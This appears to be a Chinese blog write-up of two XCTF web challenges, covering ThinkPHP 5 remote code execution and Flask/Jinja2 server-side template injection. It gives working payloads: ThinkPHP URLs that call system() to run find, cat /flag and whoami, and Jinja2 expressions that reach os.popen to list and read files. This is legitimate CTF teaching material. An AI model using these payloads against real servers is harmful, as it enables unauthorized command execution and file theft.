XCTF系列 // Web | php_rce & Web_python_template_injection

前言

这两题涉及到的知识点有,ThinkPHP 的远程代码执行漏洞 以及 flask的 SSTI 漏洞(服务端模板注入)

1` php_rce

ThinkPHP 是一个轻量级国产 PHP 开发框架,它可以支持 windows/Unix/Linux 等服务器环境。在 ThinkPHP 5 中出现了由于变量覆盖而引起的 RCE(远程命令/代码执行漏洞 – remote command/code execute),其漏洞根本源于 thinkphp/library/think/Request.php 中 method 方法可以进行变量覆盖,通过覆盖类的核心属性 filter 导致 rce 。
  
关于 ThinkPHP 5 中该漏洞的详细分析可参考此文章 ThinkPHP 5.1框架结合RCE漏洞的深入分析
关于命令执行漏洞可参考早些时候写的博客 XCTF系列 // Web ez题 Writeup 中的 6` command_execution

漏洞还没看明白……只会用payload……

在这里贴上常见的一种简单payload:

模板之一:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=相关的php代码

//开头的index.php默认的话可以不需要

例如:

以 flag 为关键词查找相关文件:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*"

显示指定文件内容(例如 /flag):

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

查看whoami:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

查看phpinfo:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2` Web_python_template_injection

本题题目为 template_injection ,即模板注入。

在介绍 SSTI(模板注入) 之前,首先先来介绍一下 SST(模板引擎),百度百科中对其的描述为,模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,如用于网站的模板引擎会生成一个标准的HTML文档。
模板引擎的实现方式有很多,最简单的是“置换型”模板引擎,这类模板引擎只是将指定模板内容(字符串)中的特定标记(子字符串)替换一下便生成了最终需要的业务数据(比如网页)。

个人对其的理解就是,我预先写好了一个比较通用的模板内容,在这个模板中的某些地方是空着的,因为这些地方的内容会依具体需要而不同。当我需要生成 HTML 代码的时候,我可以借助该模板,通过脚本语言传入变量数据,使用模板引擎将模板中空着的地方替换为我们输入的数据。

例如,定义一个模板,

<html>
<h1>{$content}</h1>
</html>

如果我需要生成 <h1>realContent</h1> 这么一个 HTML 内容,那么我可以将 realContent 作为数据传给模板引擎,让它将其渲染到模板中,渲染完成后的结果即为,

<html>
<h1>realContent</h1>
</html>

模板引擎有很多,例如,Smarty 是一个基于 PHP 开发的 PHP 模板引擎,JINJA2 是基于 Python 的模板引擎,Velocity 是一个基于 Java 的模板引擎,And so on。

本题题目中的提示为 Python ,故对应的是 Jinja2 模板引擎。这里又不得不提到 Flask ,Flask 是一个使用 Python 编写的轻量级 Web 应用框架。它使用的模板引擎即为 Jinja2 。

Flask 模块的渲染方法有 render_templaterender_template_string 两种。

render_template() 用来渲染一个指定的文件
例如:return render_template('index.html')

render_template_string() 则是用来渲染一个字符串的,SSTI与这个方法密不可分
例如:html = '<h1>This is index page</h1>'
      return render_template_string(html)

接下来开始介绍 SSTI(模板注入),Flask 模板注入的产生条件为不正确的使用 Flask 中的 render_template_string() 方法。

在 Jinja2 模板引擎中,{{}} 是变量包裹标识符。在使用 render_template_string() 的同时,使用 %s 来替换字符串的时候,会把字符串中被 {{}} 包围的内容当作变量解析。{{}} 并不仅仅可以传递变量,还可以执行一些简单的表达式。

由于没有搭建相关环境,模板注入相关示例可参照:python-flask模块注入(SSTI),在这里顺便附上本题相关 writeup 中关于模板注入的描述如下:

在这里插入图片描述
在这里插入图片描述
了解完相关知识点后,现在我们可以结合本题来具体整理分析一下。

首先通过 {{}} 变量包裹标识符进行简单的表达式测试来判断是否确实存在 SSTI 漏洞。

http://111.198.29.45:46675/{{7*7}}

在这里插入图片描述
可以看到表达式被执行了,说明确实存在 SSTI 漏洞。接下来我们就需要寻找 flag 了,首先我们需要获取到控制台权限(可以利用 Python 的 os.systemos.popen ,前者返回 退出状态码 ,后者 以 file 形式返回输出内容,我们想要的是内容,所以选择 os.popen),因为我们需要实现文件读取和命令执行。But 由于我们无法直接使用这些方法,所以我们需要另辟蹊径。

Python 是面向对象的编程语言,有着类、对象和继承属性。因此我们可以通过 Python 的对象的继承来一步步实现文件查找和读取。

Python 所有类的几个魔法方法:

__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

由于本人 Python 水平不高……逐步获取权限的过程可参照以下博客:
python 模板注入
FLASK模板注入 (SSTI)

这两篇博客对此过程都有很详细的描述,获取到权限以后,剩下的事情就很简单了。

直接上 Payload:

查看文件(ls):
①{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

文件读取:
①{{''.__class__.__mro__[-1].__subclasses__()[40]('相关文件名').read()}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat 相关文件名').read()}}

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值